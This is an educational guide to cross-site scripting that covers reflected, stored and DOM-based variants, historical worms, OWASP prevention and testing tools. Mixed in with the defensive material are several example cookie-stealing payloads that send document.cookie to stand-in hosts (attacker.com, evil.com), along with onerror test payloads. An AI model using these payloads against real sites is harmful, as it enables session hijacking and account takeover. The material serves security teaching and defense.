What is XSS? Types, Examples & Prevention | Guide

In 2023, web application vulnerabilities accounted for 43% of all data breaches, with XSS remaining one of the most exploited attack vectors across industries. Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into trusted websites, which then execute in victims’ browsers to steal session data, harvest credentials, or perform unauthorized actions on behalf of users. This injection-based flaw persists even in modern web applications because developers often overlook context-specific output encoding or misuse JavaScript APIs that directly manipulate the DOM.

XSS matters because it enables session hijacking through cookie theft, leading to complete account takeovers without requiring password credentials. The vulnerability exposes sensitive personal information, financial data, and corporate secrets by executing arbitrary code in the security context of a trusted domain. As an OWASP Top 10 vulnerability (categorized under A03:2021 Injection), XSS poses particularly severe risks in stored variants where a single injected payload can compromise thousands of users automatically.

In this guide, you’ll learn the three core XSS types (reflected, stored, and DOM-based), examine real-world attack cases including the infamous MySpace worm, implement OWASP prevention techniques with code examples, and discover where vulnerabilities hide in modern applications. Whether you’re securing a new web app or auditing existing code, this practical breakdown equips you to identify, exploit (ethically), and prevent XSS systematically.

Table of Contents

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting occurs when an application accepts untrusted user input and includes it in web page output without proper validation or encoding, allowing attackers to inject JavaScript, HTML, or other client-side code. The injected scripts execute within the victim’s browser session with the same privileges as legitimate application code, bypassing the same-origin policy that normally isolates different websites. According to OWASP, XSS falls under the A03:2021 Injection category of the OWASP Top 10, representing a persistent threat despite decades of awareness and mitigation frameworks.

Core Definition and OWASP Top 10 Status

XSS vulnerabilities arise from the fundamental web architecture where servers send code (HTML/JavaScript) that browsers automatically execute. When applications echo user-controlled data back into web pages (search results, comment sections, URL parameters) without context-aware encoding, attackers can break out of intended data contexts and inject executable code. Modern frameworks like React and Angular provide automatic escaping by default, yet XSS persists because developers bypass these protections using APIs like dangerouslySetInnerHTML or innerHTML, or fail to sanitize data flowing through third-party libraries and legacy code paths.

PortSwigger’s XSS documentation emphasizes that XSS remains viable in contemporary applications due to complex client-side rendering, single-page app (SPA) architectures that heavily manipulate the DOM, and integration of user-generated content from multiple sources. The vulnerability’s ranking in OWASP Top 10 reflects both its widespread occurrence and the severe impact of successful exploitation, from credential theft to complete site defacement.

Why XSS Matters: Key Impacts

XSS enables session hijacking by stealing session cookies via document.cookie, allowing attackers to impersonate victims without knowing passwords. The attack executes JavaScript like new Image().src='https://attacker.com/?c='+document.cookie; which exfiltrates cookies to attacker-controlled servers, granting full access to user accounts. Financial platforms, healthcare portals, and administrative dashboards become particularly high-value targets where session compromise leads to fraud, data breaches, or privilege escalation.

The vulnerability exposes sensitive personal information including names, addresses, payment details, and private messages by scraping page content or monitoring user keystrokes through injected event handlers. In stored XSS scenarios, where malicious payloads persist in databases, a single compromised entry (a forum post, product review, or user profile) automatically attacks every visitor, creating widespread impact from minimal attacker effort. The 2005 MySpace worm demonstrated this scale, infecting over 1 million profiles in 20 hours through self-propagating stored XSS, while the 2014 TweetDeck incident forced platform shutdown after generating 82,000 automated retweets from a single reflected XSS payload.

Understanding XSS fundamentals connects directly to broader security practices covered in penetration testing methodologies, where XSS often serves as an initial foothold for deeper exploitation chains.

Types of XSS Attacks

XSS attacks manifest in three primary variants, each with distinct delivery mechanisms, persistence characteristics, and impact scope. Recognizing these types enables targeted detection and context-appropriate mitigation strategies.

Reflected XSS

Reflected XSS occurs when malicious scripts arrive via HTTP requests (URL parameters, form submissions, HTTP headers) and the server immediately reflects this input into the response without sanitization. The attack requires social engineering to deliver the malicious URL to victims, typically through phishing emails, malicious links on forums, or search engine poisoning. For example, a vulnerable search feature might display:

<p>You searched for: <script>alert('XSS')</script></p>

The classic proof-of-concept payload <script>alert('XSS')</script> demonstrates execution but offers no malicious utility. Real attacks use image tag event handlers like <img src=x onerror=alert('XSS')> to bypass basic filters, or cookie-stealing scripts like <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> to exfiltrate session data. According to the OWASP XSS Prevention Cheat Sheet, reflected XSS accounts for the majority of XSS reports due to its prevalence in search fields, error messages, and analytics tracking parameters.

Reflected XSS is non-persistent (the malicious code doesn’t store on the server), limiting impact to users who click crafted links. However, the attack surface includes any application feature that echoes user input: search boxes, login error messages, 404 pages displaying requested URLs, and tracking pixels that incorporate URL parameters into page content.

Stored XSS

Stored XSS (persistent XSS) saves malicious payloads into server-side data stores like databases, file systems, or caches, where they permanently reside until removed. When the application retrieves and displays this data to users (comment threads, user profiles, product reviews), the stored script executes automatically without requiring victim interaction beyond viewing the affected page. This creates a “set and forget” attack model where a single injection point compromises all subsequent visitors.

A forum comment containing:

<script>
  var img = new Image();
  img.src = 'https://evil.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

will execute in every user’s browser who views the thread, transmitting their session cookies to the attacker’s logging server. Stored XSS carries higher severity ratings because the attacker can infect high-traffic pages (home pages, popular blog posts) to maximize victim count, and the persistence removes dependency on external delivery mechanisms like phishing.

The MySpace worm (detailed later) exemplified stored XSS impact through self-propagation: each infected profile automatically added the payload to visitor profiles, creating exponential spread. Modern applications remain vulnerable in rich text editors, markdown processors, and anywhere user content renders as HTML without strict sanitization policies.

DOM-based XSS

DOM-based XSS executes entirely client-side when JavaScript code unsafely processes untrusted data to modify the Document Object Model (DOM). Unlike reflected and stored variants, no server-side vulnerability exists; the flaw lies in client-side scripts that read from unsafe sources (URL fragments after #, document.referrer, window.name) and write to dangerous sinks (innerHTML, document.write(), eval()).

Consider JavaScript that reads a URL parameter and displays it:

// Vulnerable code
var username = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + username;

An attacker crafts https://victim.com/#<img src=x onerror=alert('XSS')>, and the client-side code directly injects the payload into the DOM without server involvement. The OWASP prevention guide identifies DOM-based XSS as increasingly common in single-page applications (SPAs) built with frameworks like Angular, Vue, or vanilla JavaScript, where extensive client-side routing and templating introduce numerous unsafe sinks.

DOM-based XSS bypasses server-side protections like Web Application Firewalls (WAFs) since malicious payloads never reach the server; detection requires client-side code analysis and runtime monitoring. The attack surface includes URL fragments, postMessage handlers, and any JavaScript that dynamically generates page content from user-controllable sources.

How XSS Works: Visual Breakdown

Understanding execution flows clarifies where user input transforms into executable code and identifies intervention points for prevention. Each XSS type follows distinct pathways from injection to execution.

Reflected and Stored XSS Flows

Reflected XSS Flow:

  1. Attacker crafts malicious URL: https://bank.com/search?q=<script>steal()</script>
  2. Victim clicks link (social engineering)
  3. Browser sends GET request to server with malicious parameter
  4. Server processes request, embeds q parameter into HTML response: <div>Results for: <script>steal()</script></div>
  5. Browser receives HTML, parses content, executes injected script
  6. Script accesses document.cookie, sends to attacker server
  7. Attacker receives session token, hijacks account

The critical failure occurs at step 4 where the server outputs user input without HTML entity encoding. Encoding converts < to &lt; and > to &gt;, rendering the script as harmless text instead of executable code.

Stored XSS Flow:

  1. Attacker submits malicious comment: <script>keylog()</script>
  2. Server stores raw input in database
  3. Legitimate user visits comment page
  4. Server retrieves comment from database, embeds in HTML response
  5. Browser renders page, executes stored script
  6. Script monitors keystrokes, logs credentials
  7. Data exfiltrates to attacker on form submission

Stored XSS multiplies impact because steps 3-7 repeat for every visitor. The vulnerability compounds when applications allow HTML formatting (bold, italics) in user content without using safe rendering libraries. According to PortSwigger, the persistence transforms individual injection points into persistent attack platforms that require no ongoing attacker interaction.

Both flows share a common unsafe sink: server-generated HTML that interprets user input as code. Prevention requires treating all user data as untrusted text, never code, through systematic output encoding at every rendering point.

DOM-based XSS Execution

DOM-based XSS Flow:

  1. User visits https://app.com/dashboard#name=<img src=x onerror=alert(1)>
  2. Browser loads page HTML (no XSS payload in server response)
  3. JavaScript executes: var name = location.hash.split('=')[1];
  4. Script sets document.getElementById('greeting').innerHTML = 'Hi ' + name;
  5. Browser parses innerHTML content, encounters <img> tag
  6. Image load fails, triggers onerror event handler
  7. alert(1) executes in page context

The malicious payload never reaches the server (URL fragments after # aren’t sent in HTTP requests), making server-side protections ineffective. The vulnerability exists purely in client-side code that unsafely consumes and renders data from controllable sources. The innerHTML sink is particularly dangerous because it parses strings as HTML, executing any embedded scripts or event handlers.

Safe alternatives include:

  • textContent or innerText (renders as plain text, no HTML parsing)
  • createElement() and appendChild() (programmatic DOM manipulation)
  • DOMPurify library (sanitizes HTML before rendering)

Single-page apps intensify DOM-based XSS risks by heavily relying on client-side routing where URL fragments (#/profile/id=123) drive application state. Framework-specific vulnerabilities emerge when developers access route parameters through window.location instead of framework-provided sanitized APIs. The OWASP cheat sheet recommends code audits specifically targeting JavaScript that reads from document.location, document.referrer, document.URL, or window.name and writes to innerHTML, outerHTML, document.write, or eval.

Real-World XSS Attacks

Historical XSS incidents demonstrate the vulnerability’s real-world impact beyond theoretical proof-of-concepts, revealing exploitation techniques and defense failures that remain relevant today.

MySpace 2005 Worm

In October 2005, Samy Kamkar exploited stored XSS in MySpace profiles to create the fastest-spreading computer worm in history. MySpace allowed users to customize profiles with HTML and CSS but implemented JavaScript filtering to prevent exactly this type of attack. Kamkar bypassed filters by splitting JavaScript keywords across multiple lines and using CSS to hide parts of the payload, eventually crafting an injection that MySpace’s blacklist couldn’t detect.

The worm’s payload executed when anyone viewed Kamkar’s profile, automatically adding him as a friend and copying the worm’s code to the victim’s profile. This created exponential propagation: each new infection generated more infected profiles, which infected more visitors. Within 20 hours, over 1 million MySpace users had been infected and displayed “Samy is my hero” in their profiles. According to real-world XSS case studies, MySpace’s servers began failing under the load of automated friend requests and profile updates, forcing a complete site shutdown for emergency patching.

The incident’s key lessons: blacklist filtering fails against determined attackers who can find encoding and obfuscation bypasses; stored XSS impact scales geometrically when payloads can self-propagate; and rate limiting/anomaly detection serve as crucial defense layers even when input validation fails. MySpace subsequently implemented strict Content Security Policy headers and switched to whitelist-based HTML sanitization using the principle that only explicitly allowed tags and attributes should render, rejecting everything else.

TweetDeck 2014 Incident

In June 2014, a security researcher discovered a reflected XSS vulnerability in TweetDeck (Twitter’s professional dashboard) and demonstrated it with a benign proof-of-concept. Within hours, malicious actors modified the payload to create a self-retweeting worm that spread across TweetDeck users. The payload injected a script that automatically retweeted the malicious tweet to all followers of infected accounts, generating 82,000 retweets in minutes and appearing on thousands of timelines.

TweetDeck’s vulnerability stemmed from improper handling of tweet content when rendering notifications and timeline updates. The application failed to sanitize HTML entities in tweets before displaying them in the interface, allowing <script> tags embedded in tweet text to execute. Twitter immediately took TweetDeck offline, patched the XSS flaw, and implemented additional CSP restrictions to prevent inline script execution even if future injection points emerged.

This case illustrates reflected XSS amplification through social media mechanics where content spreads virally without requiring individual targeting. The rapid response (under 2 hours from discovery to patch) demonstrated effective incident response, but the initial vulnerability existence in a high-profile platform highlighted that even security-conscious organizations can miss XSS vectors during code review. The fix involved both input sanitization (encoding special characters in tweet content) and implementing defense-in-depth through Content Security Policy headers that blocked inline JavaScript execution regardless of source.

Advanced Prevention: OWASP Cheat Sheet

Preventing XSS requires layered defenses across input validation, output encoding, secure JavaScript APIs, and HTTP security headers. The OWASP XSS Prevention Cheat Sheet provides context-specific rules that address different injection points systematically.

Output Encoding and Sanitization

Output encoding (escaping) is the primary XSS defense, transforming potentially dangerous characters into safe representations based on the context where data renders. HTML entity encoding converts characters with special HTML meaning into their entity equivalents:

  • < becomes &lt;
  • > becomes &gt;
  • " becomes &quot;
  • ' becomes &#x27;
  • & becomes &amp;

When applied before inserting user data into HTML element content, entity encoding prevents browsers from interpreting injected tags as markup:

// Vulnerable
element.innerHTML = userInput; // userInput: <script>alert(1)</script>

// Safe (using encoding)
element.textContent = userInput; // Renders as literal text: &lt;script&gt;alert(1)&lt;/script&gt;

Context matters critically. Data inserted into JavaScript strings requires JavaScript escaping (backslash-escaping quotes and special characters), while URL parameters need URL encoding (percent-encoding). The OWASP cheat sheet specifies encoding rules for six contexts: HTML element content, HTML attribute values, JavaScript data values, CSS property values, URL parameters, and URL path segments.

For rich text editors where users need legitimate HTML formatting, DOMPurify provides robust client-side sanitization:

import DOMPurify from 'dompurify';

const dirty = userInput; // May contain <script> and other dangerous tags
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});
element.innerHTML = clean; // Safe to render

DOMPurify strips all tags and attributes not explicitly whitelisted, preventing script injection while preserving allowed formatting. This whitelist approach (permit only known-good elements) proves more secure than blacklisting (block known-bad elements), since attackers constantly discover new bypass techniques for blacklists.

Modern frameworks like React and Angular automatically escape variables in templates, protecting against XSS by default. However, developers can bypass this protection through APIs like React’s dangerouslySetInnerHTML or Angular’s bypassSecurityTrustHtml(), which should only be used with DOMPurify-sanitized content or statically-defined HTML.

Content Security Policy (CSP) headers provide defense-in-depth by instructing browsers which script sources to trust, blocking inline scripts even if XSS payloads inject into page HTML. A strict CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; base-uri 'self';

This policy permits scripts only from the same origin and a specific trusted CDN, blocks all <object> and <embed> tags, and prevents base tag injection attacks. Inline event handlers (<img onerror=...>) and <script> tags without external src attributes fail to execute, neutralizing most XSS payloads. According to the OWASP prevention guide, CSP serves as a critical backup when primary encoding defenses fail, significantly reducing XSS exploitation even when injection occurs.

Implementing CSP requires refactoring inline scripts into external files and using nonces (cryptographic random values) for legitimate inline scripts:

<!-- Server generates unique nonce per request -->
<script nonce="r4nd0m-n0nc3-v4lu3">
  // Legitimate inline script
</script>

The CSP header includes script-src 'nonce-r4nd0m-n0nc3-v4lu3', and browsers only execute inline scripts matching the nonce. Injected scripts lack valid nonces and fail to run.

Cookie security flags prevent XSS-based session hijacking by limiting JavaScript cookie access:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly blocks document.cookie access, preventing cookie theft via XSS
  • Secure ensures cookies only transmit over HTTPS
  • SameSite=Strict prevents cookies from sending in cross-site requests (CSRF protection)

Even if XSS executes, HttpOnly cookies remain inaccessible to JavaScript, forcing attackers to use more complex exploitation chains. However, XSS can still perform actions on behalf of victims (form submissions, API calls) since scripts execute in the authenticated session context.

Common Misconfigurations to Avoid

Relying solely on input validation fails because encoding requirements differ by context (HTML vs JavaScript vs URL), and blacklists can never cover all possible encoding and obfuscation variants. Always encode output at the rendering point based on context, even if input appears “validated.”

Misusing innerHTML represents the most common DOM-based XSS source:

// Dangerous
element.innerHTML = '<p>' + userInput + '</p>';

// Safe
const p = document.createElement('p');
p.textContent = userInput;
element.appendChild(p);

The safe version constructs DOM nodes programmatically without parsing HTML, eliminating script execution vectors. When HTML rendering is necessary, sanitize with DOMPurify before assigning to innerHTML.

Missing or misconfigured CSP headers leave applications vulnerable even with proper encoding. Common CSP mistakes include using 'unsafe-inline' (permits all inline scripts, defeating CSP’s purpose) or overly permissive source lists (script-src * allows any domain). Start with strict policies and gradually whitelist required sources during testing.

Client-side validation alone provides no security since attackers control all client-side data (HTTP requests, JavaScript execution). Validation must occur server-side, treating all client data as hostile. However, server-side validation doesn’t replace output encoding; both layers serve different purposes (validation ensures data quality, encoding prevents code injection).

Framework-specific pitfalls emerge when developers bypass built-in protections. React’s dangerouslySetInnerHTML and Angular’s DomSanitizer.bypassSecurityTrustHtml() disable auto-escaping and should trigger security review. In similar contexts covered in SQL injection prevention, the principle remains consistent: never trust user input, always sanitize based on destination context.

Attack Surfaces and Detection Methods

XSS vulnerabilities hide in any application feature that accepts user input and renders it in web pages, spanning obvious vectors like comment fields to subtle ones like HTTP header reflections.

Common Attack Surfaces

Search functionality represents a primary XSS target since search terms commonly display in results pages (“You searched for: [term]”). URL parameters feed search terms directly into page content, creating reflected XSS opportunities if not encoded. Test by submitting <script>alert(1)</script> and examining response HTML for unescaped output.

User profile fields (biography, location, website) often allow HTML formatting and persist in databases, creating stored XSS vectors. Profile pages display user-controlled content to all visitors, maximizing impact. Look for fields accepting rich text, markdown, or HTML tags.

Error messages frequently echo user input to explain failures: “Invalid username: [username]” or “File not found: [filepath]”. Developers focus error handling on functionality rather than security, commonly forgetting output encoding. Test by triggering errors with XSS payloads in all input fields.

HTTP headers like Referer, User-Agent, and custom headers sometimes appear in analytics dashboards, admin panels, or debugging outputs. Applications logging or displaying header values create reflected XSS if headers aren’t encoded. Use proxy tools like Burp Suite to modify headers and observe rendering.

Third-party content integrations (comment systems, social media widgets, advertisement platforms) introduce XSS if applications embed untrusted external content without sandboxing. The <iframe sandbox> attribute restricts embedded content capabilities, preventing scripts from accessing parent page context.

URL fragments (content after #) and document.referrer feed DOM-based XSS since JavaScript can read these client-side sources. Single-page applications routing based on URL fragments create numerous potential sinks. Review all JavaScript that processes location.hash, location.search, or referrer values.

Tools and Testing Techniques

Dynamic Application Security Testing (DAST) scanners automate XSS discovery by fuzzing inputs with thousands of payload variants and analyzing responses for evidence of execution. Burp Suite and OWASP ZAP provide both automated scanning and manual testing interfaces. For a detailed comparison, see Burp Suite vs OWASP ZAP.

Burp Suite’s active scanner sends payloads through all application inputs (parameters, headers, cookies) and detects reflected XSS by observing payloads in responses:

  1. Configure proxy to intercept traffic
  2. Browse application to map all endpoints
  3. Run active scan on target
  4. Review “Script tag” and “Event handler” issues
  5. Manually verify findings to eliminate false positives

For DOM-based XSS, Burp’s DOM Invader extension monitors JavaScript sources and sinks, highlighting data flows from URL fragments to dangerous DOM manipulation functions. Enable DOM Invader in browser, navigate application, and review flagged flows for exploitability.

Static Application Security Testing (SAST) analyzes source code for unsafe patterns like innerHTML assignments with unsanitized variables. Tools like SonarQube, Semgrep, and GitHub CodeQL identify potential vulnerabilities before deployment:

# Semgrep rule for unsafe innerHTML
rules:
  - id: unsafe-innerhtml
    pattern: $ELEMENT.innerHTML = $INPUT
    message: Potential XSS via innerHTML assignment
    languages: [javascript]

Manual code review remains essential for complex logic that automated tools miss. Search codebases for:

  • innerHTML, outerHTML, document.write()
  • eval(), setTimeout(), setInterval() with string arguments
  • Template rendering functions without auto-escaping
  • Custom sanitization logic (often incomplete)

Penetration testing workflows combine automated scanning with manual exploitation to validate findings and chain XSS with other vulnerabilities. A typical workflow:

  1. Passive reconnaissance (map application, identify input points)
  2. Automated scanning with Burp/ZAP
  3. Manual payload testing on inputs (forms, URLs, headers)
  4. DOM analysis for client-side sinks
  5. Exploitation attempts (cookie theft, session riding)
  6. Chaining XSS with CSRF or privilege escalation
  7. Documentation and remediation recommendations

Browser developer tools accelerate manual testing. Use Console to test payloads directly: document.getElementById('search').innerHTML = '<img src=x onerror=alert(1)>'. The Network tab shows whether injected scripts make outbound requests, indicating successful execution.

Content Security Policy monitoring provides production detection by configuring CSP in report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Browsers send violation reports when scripts from unauthorized sources attempt execution, alerting security teams to potential XSS exploitation without blocking legitimate functionality during rollout.

Key Takeaways

  • XSS injects malicious scripts into trusted websites through unvalidated user input, enabling session hijacking, data theft, and unauthorized actions in victims’ browsers.
  • The three types are reflected (immediate echo in response), stored (persistent in database), and DOM-based (client-side JavaScript flaw), each requiring distinct detection and mitigation approaches.
  • Real-world cases like the MySpace worm (1M infections in 20 hours) and TweetDeck incident (82K retweets before shutdown) demonstrate XSS’s potential for viral propagation and widespread impact.
  • Output encoding based on context (HTML entities, JavaScript escaping, URL encoding) forms the primary defense, never trusting user input and always sanitizing at rendering points.
  • Content Security Policy headers and HttpOnly cookies provide defense-in-depth, restricting script sources and preventing cookie theft even when injection occurs.
  • Common attack surfaces include search fields, user profiles, error messages, HTTP headers, and any feature echoing user-controlled data without encoding.
  • Detection combines automated DAST scanners (Burp Suite, ZAP), static code analysis for unsafe JavaScript sinks, and manual penetration testing to identify exploitable injection points.

Frequently Asked Questions

What are the main types of XSS?

The three primary XSS types are reflected (malicious script in HTTP request immediately echoed in response), stored (payload persists in database and executes when retrieved), and DOM-based (client-side JavaScript unsafely processes URL fragments or other untrusted sources). Reflected requires social engineering to deliver malicious URLs, stored infects all visitors to compromised pages, and DOM-based executes purely client-side without server involvement.

How do I prevent XSS in my web app?

Implement context-aware output encoding for all user data based on where it renders (HTML entity encoding for element content, JavaScript escaping for script contexts, URL encoding for parameters). Deploy Content Security Policy headers to restrict script sources, enable HttpOnly flags on session cookies, and use framework auto-escaping features. According to the OWASP XSS Prevention Cheat Sheet, never trust user input and always encode at rendering points regardless of input validation.

What’s the difference between reflected and stored XSS?

Reflected XSS is ephemeral, executing once when victims click malicious links containing payloads in URL parameters or form data, affecting only users who interact with crafted requests. Stored XSS persists in server-side storage (databases, files), automatically executing in every visitor’s browser when they view affected pages, creating “set and forget” attacks with broader impact. Stored XSS severity exceeds reflected due to persistence and wider victim scope.

Can modern frameworks like React prevent XSS?

React and Angular provide automatic escaping for variables in templates, protecting against XSS by default when using standard rendering methods. However, developers can bypass protections through dangerouslySetInnerHTML in React or bypassSecurityTrustHtml() in Angular. Always sanitize with DOMPurify before using bypass APIs, implement strict CSP headers, and avoid unsafe sinks like innerHTML with untrusted data. Framework protection only applies when developers follow secure coding practices.

How do I test for XSS vulnerabilities?

Use automated scanners like Burp Suite or OWASP ZAP to fuzz application inputs with XSS payload variants, manually inject test payloads (<script>alert(1)</script>, <img src=x onerror=alert(1)>) into form fields, URL parameters, and HTTP headers, then examine responses for unescaped output. For DOM-based XSS, review JavaScript for unsafe data flows from location.hash, document.referrer, or window.name to sinks like innerHTML or eval(). Static code analysis tools identify potential vulnerabilities in source code before deployment.

What is the MySpace XSS worm and its impact?

The 2005 MySpace worm exploited stored XSS to create self-propagating malware that infected over 1 million profiles in 20 hours. Attacker Samy Kamkar crafted a payload bypassing JavaScript filters that automatically added him as a friend and copied the worm to viewer profiles, creating exponential spread. The incident forced MySpace shutdown for emergency patching and demonstrated stored XSS’s potential for viral propagation when payloads can self-replicate.

How does DOM-based XSS work in single-page apps?

DOM-based XSS in SPAs occurs when client-side JavaScript reads untrusted data from URL fragments, route parameters, or postMessage events and writes it to dangerous DOM sinks like innerHTML without sanitization. The vulnerability exists purely client-side, bypassing server-side protections since malicious payloads never reach the server (URL fragments after # aren’t sent in HTTP requests). Review all JavaScript that processes location.hash or route parameters and uses innerHTML, document.write(), or eval().

What role does DOMPurify play in prevention?

DOMPurify sanitizes HTML strings before rendering to innerHTML, stripping potentially dangerous tags (<script>, <object>) and event handlers (onerror, onload) while preserving allowed formatting tags. Use it when applications must render user-provided HTML (rich text editors, markdown preview), configuring whitelists for permitted tags and attributes. DOMPurify provides robust client-side sanitization complementing server-side encoding for defense-in-depth.

References


Leave A Comment

All fields marked with an asterisk (*) are required